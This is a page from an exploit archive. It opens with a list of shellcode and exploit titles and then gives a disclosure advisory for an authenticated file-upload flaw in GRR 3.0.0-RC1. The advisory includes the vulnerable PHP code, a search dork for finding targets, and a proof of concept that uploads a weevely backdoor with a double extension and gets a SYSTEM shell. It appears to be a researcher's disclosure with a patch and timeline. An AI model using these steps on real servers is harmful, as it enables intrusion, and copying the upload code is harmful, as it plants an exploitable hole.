
16 new exploits Ubuntu Breezy 5.10 - Installer Password Disclosure Ubuntu 5.10 - Installer Password Disclosure BSD/x86 - setuid/portbind (TCP 31337) shellcode (94 bytes) BSD/x86 - setuid/portbind 31337/TCP shellcode (94 bytes) Linux/x86 - shellcode that forks a HTTP Server on port tcp/8800 (166 bytes) Linux/x86 - listens for shellcode on tcp/5555 and jumps to it (83 bytes) Linux/x86 - Forks a HTTP Server on port 8800/TCP shellcode (166 bytes) Linux/x86 - Listens for shellcode on 5555/TCP and jumps to it (83 bytes) Linux/x86 - Shellcode Polymorphic chmod(_/etc/shadow__666) (54 bytes) Linux/x86 - Polymorphic chmod(_/etc/shadow__666) Shellcode (54 bytes) Linux/x86 - Add root user _r00t_ with no password to /etc/passwd shellcode (69 bytes) Linux/x86 - Add root user 'r00t' with no password to /etc/passwd shellcode (69 bytes) Linux/x86 - SET_PORT() portbind 31337 tcp shellcode (100 bytes) Linux/x86 - SET_PORT() portbind 31337/TCP shellcode (100 bytes) Linux/x86 - Add User _xtz_ without Password to /etc/passwd shellcode (59 bytes) Linux/x86 - Add User 'xtz' without Password to /etc/passwd shellcode (59 bytes) Linux/x86 - Bind /bin/sh to 31337/tcp shellcode (80 bytes) Linux/x86 - Bind /bin/sh to 31337/tcp + fork() shellcode (98 bytes) Linux/x86 - Bind /bin/sh to 31337/TCP shellcode (80 bytes) Linux/x86 - Bind /bin/sh to 31337/TCP + fork() shellcode (98 bytes) Linux/x86 - connect-back shellcode 127.0.0.1:31337/tcp (74 bytes) Linux/x86 - Connect-back shellcode 127.0.0.1:31337/TCP (74 bytes) Linux/x86 - Add user _t00r_ encrypt shellcode (116 bytes) Linux/x86 - Add user 't00r' encrypt shellcode (116 bytes) Linux/x86 - Add user _t00r_ shellcode (82 bytes) Linux/x86 - Add user 't00r' shellcode (82 bytes) Linux/x86 - Add user _z_ shellcode (70 bytes) Linux/x86 - Add User 'z' shellcode (70 bytes) Solaris/x86 - portbind/tcp shellcode (Generator) Solaris/x86 - portbind/TCP shellcode (Generator) Linux/x86 - append _/etc/passwd_ & exit() shellcode (107 bytes) Linux/x86 - append '/etc/passwd' & exit() shellcode (107 bytes) Linux/x86 - sends _Phuck3d!_ to all terminals shellcode (60 bytes) Linux/x86 - sends 'Phuck3d!' to all terminals shellcode (60 bytes) Linux/x86 - change mode 0777 of _/etc/shadow_ with sys_chmod syscall shellcode (39 bytes) Linux/x86 - change mode 0777 of '/etc/shadow' with sys_chmod syscall shellcode (39 bytes) Linux/x86 - change mode 0777 of _/etc/passwd_ with sys_chmod syscall shellcode (39 bytes) Linux/x86 - change mode 0777 of '/etc/passwd' with sys_chmod syscall shellcode (39 bytes) Linux/ARM - Add root user _shell-storm_ with password _toor_ shellcode (151 bytes) Linux/ARM - Add root user 'shell-storm' with password 'toor' shellcode (151 bytes) OS-X/Intel - reverse_tcp shell x86_64 shellcode (131 bytes) OS-X/Intel (x86_64) - reverse_tcp shell shellcode (131 bytes) Linux/SuperH (sh4) - Add root user _shell-storm_ with password _toor_ shellcode (143 bytes) Linux/SuperH (sh4) - Add root user 'shell-storm' with password 'toor' shellcode (143 bytes) Linux/MIPS - Add user(UID 0) _rOOt_ with password _pwn3d_ shellcode (164 bytes) Linux/MIPS - Add user(UID 0) 'rOOt' with password 'pwn3d' shellcode (164 bytes) Linux/x86-64 - Bind TCP 4444 Port Shellcode (81 bytes / 96 bytes with password) Linux/x86-64 - Bind 4444/TCP Port Shellcode (81 bytes / 96 bytes with password) Linux/x86 - TCP Bind Shell 33333 Port Shellcode (96 bytes) Linux/x86 - Bind Shell 33333/TCP Port Shellcode (96 bytes) OS-X/x86-64 - tcp 4444 port bind Nullfree shellcode (144 bytes) OS-X/x86-64 - 4444/TPC port bind Nullfree shellcode (144 bytes) Linux/x86-64 - Bind TCP 4444 Port Shellcode (103 bytes) Linux/x86-64 - TCP 4444 port Bindshell with Password Prompt shellcode (162 bytes) Linux/x86-64 - Bind 4444/TCP Port Shellcode (103 bytes) Linux/x86-64 - Bindshell 4444/TCP with Password Prompt shellcode (162 bytes) Linux/x86-64 - Bind TCP Port 1472 shellcode (IPv6) (199 bytes) Linux/x86-64 - Bind 1472/TCP shellcode (IPv6) (199 bytes) Linux/x86 - TCP Bind Shell Port 4444 shellcode (656 bytes) Linux/x86 - Bind Shell Port 4444/TCP shellcode (656 bytes) Linux/x86 - TCP Bind Shell Port 4444 shellcode (98 bytes) Linux/x86 - Bind Shell Port 4444/TCP shellcode (98 bytes) Rapid7 AppSpider 6.12 - Local Privilege Escalation Barracuda Web App Firewall 8.0.1.007/Load Balancer 5.4.0.004 - Remote Command Execution (Metasploit) Barracuda Spam & Virus Firewall 5.1.3.007 - Remote Command Execution (Metasploit) MediaCoder 0.8.43.5852 - .m3u SEH Exploit Drupal CODER Module 2.5 - Remote Command Execution (Metasploit) CodoForum 3.2.1 - SQL Injection CoolPlayer+ Portable 2.19.6 - .m3u Stack Overflow (Egghunter+ASLR bypass) GRR Système de Gestion et de Réservations de Ressources 3.0.0-RC1 - Arbitrary File Upload PHP gettext (gettext.php) 1.0.12 - Unauthenticated Code Execution PHP 7.0.8_ 5.6.23 and 5.5.37 - bzread() Out-of-Bounds Write Ubee EVW3226 Modem/Router 1.0.20 - Multiple Vulnerabilities Technicolor TC7200 Modem/Router STD6.02.11 - Multiple Vulnerabilities Hitron CGNV4 Modem/Router 4.3.9.9-SIP-UPC - Multiple Vulnerabilities Compal CH7465LG-LC Modem/Router CH7465LG-NCIP-4.50.18.13-NOSH - Multiple Vulnerabilities Bellini/Supercook Wi-Fi Yumi SC200 - Multiple Vulnerabilities Micro Focus Filr 2 2.0.0.421_ Filr 1.2 1.2.0.846 - Multiple Vulnerabilities
183 lines
No EOL
6.9 KiB
Text
Executable file
183 lines
No EOL
6.9 KiB
Text
Executable file
# Exploit Title: GRR <= 3.0.0-RC1 (all versions) RCE with privilege escalation through file upload filter bypass (authenticated)
|
|
|
|
# Date: January 7th, 2016
|
|
# Exploit Author: kmkz (Bourbon Jean-marie) | @kmkz_security
|
|
# Vendor Homepage: http://grr.devome.com/fr/
|
|
# Software Link: http://grr.devome.com/fr/telechargement/category/3-versions-patch?download=7:grr-3-0-0-rc1
|
|
# Version: 3.0.0-RC1
|
|
# Tested on: Windows 2003 R2, PHP 5.2.6
|
|
# Dork: inurl:/grr/ intext:réservation intitle:"GRR"
|
|
|
|
# CVSS score: 9.9
|
|
# OVE ID: OVE-20160705-0044
|
|
# CVE ID: Not Requested
|
|
|
|
# Credits: http://www.kaizendo.fr/php-how-to-manage-uploaded-image-in-secure-way/
|
|
# Fix: https://github.com/JeromeDevome/GRR/blob/master/admin/admin_config1.php
|
|
|
|
|
|
I. APPLICATION
|
|
======================================================================================
|
|
|
|
GRR is an open source resources manager tool used in many french public
|
|
institutions (not only!).
|
|
It permit for example to manage rooms reservations, and so much more.
|
|
|
|
|
|
II. ADVISORY
|
|
======================================================================================
|
|
|
|
|
|
The application allows administrators to change the enterprise's logo
|
|
uploading a new image with .png,.jpg or .gif extension only.
|
|
|
|
Once uploaded, image name is "splitted" in an array and renamed with the
|
|
name "logo" followed by the extention saved as 2nd array's element.
|
|
|
|
This file called for example "logo.jpg" is also "chmoded" as 0666 permission
|
|
and directly accessible in image folder (img_grr by default) by all users.
|
|
|
|
Besides, the application does only a basic conditional php test
|
|
on the extension of the uploaded file.
|
|
|
|
It's possible for an attacker to add a second extension that will be
|
|
used when the image will be renamed in order to bypass this basic filter
|
|
(double extension upload filter bypassing).
|
|
|
|
So, a file called backdoor.php.jpg will be renamed as logo.php with
|
|
chmod 0666 permissions and could be used by attacker to gain more privileges
|
|
on the targeted server (privesc due to bad file permissions and RCE).
|
|
|
|
To trigger this vulnerability it is necessary to have an administrator
|
|
account on the GRR application.
|
|
|
|
This vulnerability is a combination of 3 issues:
|
|
- predictable uploaded file names and path
|
|
- upload of any kind of file
|
|
- bad files permission when we upload this file that permit us to gain
|
|
privilegied access.
|
|
|
|
Note that it could be "dorkable" in order to find targets ... and sometimes
|
|
with trivial admin credentials ;-).
|
|
|
|
III. VULNERABLE CODE
|
|
======================================================================================
|
|
|
|
snip..
|
|
// Enregistrement du logo
|
|
$doc_file = isset($_FILES["doc_file"]) ? $_FILES["doc_file"] : NULL;
|
|
if (preg_match("`\.([^.]+)$`", $doc_file['name'], $match))
|
|
{
|
|
$ext = strtolower($match[1]);
|
|
if ($ext != 'jpg' && $ext != 'png' && $ext != 'gif') // Vulnerability !! Extension are the only "security" test on submitted files !!
|
|
{
|
|
$msg .= "L\'image n\'a pas pu être enregistrée : les seules extentions autorisées sont gif, png et jpg.\\n";
|
|
$ok = 'no';
|
|
}
|
|
else
|
|
{
|
|
$dest = '../images/';
|
|
$ok1 = false;
|
|
if ($f = @fopen("$dest/.test", "w"))
|
|
{
|
|
@fputs($f, '<'.'?php $ok1 = true; ?'.'>'); // Hem...
|
|
@fclose($f);
|
|
include("$dest/.test");
|
|
}
|
|
if (!$ok1)
|
|
{
|
|
$msg .= "L\'image n\'a pas pu être enregistrée : problème d\'écriture sur le répertoire \"images\". Veuillez signaler ce problème à l\'administrateur du serveur.\\n";
|
|
$ok = 'no';
|
|
}
|
|
else
|
|
{
|
|
$ok1 = @copy($doc_file['tmp_name'], $dest.$doc_file['name']);
|
|
if (!$ok1)
|
|
$ok1 = @move_uploaded_file($doc_file['tmp_name'], $dest.$doc_file['name']);
|
|
if (!$ok1)
|
|
{
|
|
$msg .= "L\'image n\'a pas pu être enregistrée : problème de transfert. Le fichier n\'a pas pu être transféré sur le répertoire IMAGES. Veuillez signaler ce problème à l\'administrateur du serveur.\\n";
|
|
$ok = 'no';
|
|
}
|
|
else
|
|
{
|
|
$tab = explode(".", $doc_file['name']);
|
|
$ext = strtolower($tab[1]);
|
|
if ($dest.$doc_file['name']!=$dest."logo.".$ext)
|
|
{
|
|
if (@file_exists($dest."logo.".$ext))
|
|
@unlink($dest."logo.".$ext);
|
|
rename($dest.$doc_file['name'],$dest."logo.".$ext); // Vulnerability: if filename is "backdoor.php.jpg" we rename it as "logo.php" !!
|
|
|
|
}
|
|
@chmod($dest."logo.".$ext, 0666); // Vulnerability: why chmod 0666 on this f****** file!?!?
|
|
|
|
$picture_room = "logo.".$ext;
|
|
if (!Settings::set("logo", $picture_room))
|
|
{
|
|
$msg .= "Erreur lors de l'enregistrement du logo !\\n";
|
|
$ok = 'no';
|
|
}
|
|
}
|
|
}
|
|
}
|
|
snip...
|
|
|
|
IV. PROOF OF CONCEPT
|
|
======================================================================================
|
|
|
|
Generate backdoor:
|
|
|
|
kmkz@Tapz:~# weevely generate pass123 /tmp/3lrvs.php
|
|
Generated backdoor with password 'pass123' in '/tmp/3lrvs.php' of 1486 byte size.
|
|
kmkz@Tapz:~# mv /tmp/3lrvs.php /tmp/3lrvs.php.jpg
|
|
|
|
|
|
Login as admin and upload this new 'logo' > Administration > logo
|
|
|
|
Enjoy your shell!
|
|
|
|
kmkz@Tapz:~# weevely http://server/images/logo.php pass123
|
|
[+] weevely 3.2.0
|
|
|
|
[+] Target: server:F:\server\grr\images
|
|
[+] Session: /kmkz/.weevely/sessions/laboratoire.target.fr/logo_1.session
|
|
[+] Shell: System shell
|
|
|
|
[+] Browse the filesystem or execute commands starts the connection
|
|
[+] to the target. Type :help for more information.
|
|
|
|
weevely> whoami
|
|
autorite nt\system
|
|
|
|
|
|
|
|
V. RISK
|
|
======================================================================================
|
|
By uploading a script, an attacker may be able to execute arbitrary code
|
|
on the server with elevated privileges.
|
|
|
|
This flaw may compromise the integrity of the system
|
|
(with access to sensitive informations, network shares...) and it may conduce
|
|
to full information system's compromise using pivots techniques and imagination!
|
|
|
|
|
|
VI. VERSIONS AFFECTED
|
|
======================================================================================
|
|
GRR 3.0.0-RC1 is vulnerable (and all previous versions)
|
|
|
|
|
|
VII. TIMELINE
|
|
======================================================================================
|
|
December 17th, 2015: Vulnerability identification
|
|
January 7th, 2016: Vendor and project developers notification
|
|
January 11th, 2016: Project developers response
|
|
January 15th, 2016: Patch release
|
|
January 17th, 2016: Public disclosure
|
|
|
|
|
|
VII. LEGAL NOTICES
|
|
======================================================================================
|
|
The information contained within this advisory is supplied "as-is" with
|
|
no warranties or guarantees of fitness of use or otherwise.
|
|
I accept no responsibility for any damage caused by the use or misuse of this advisory. |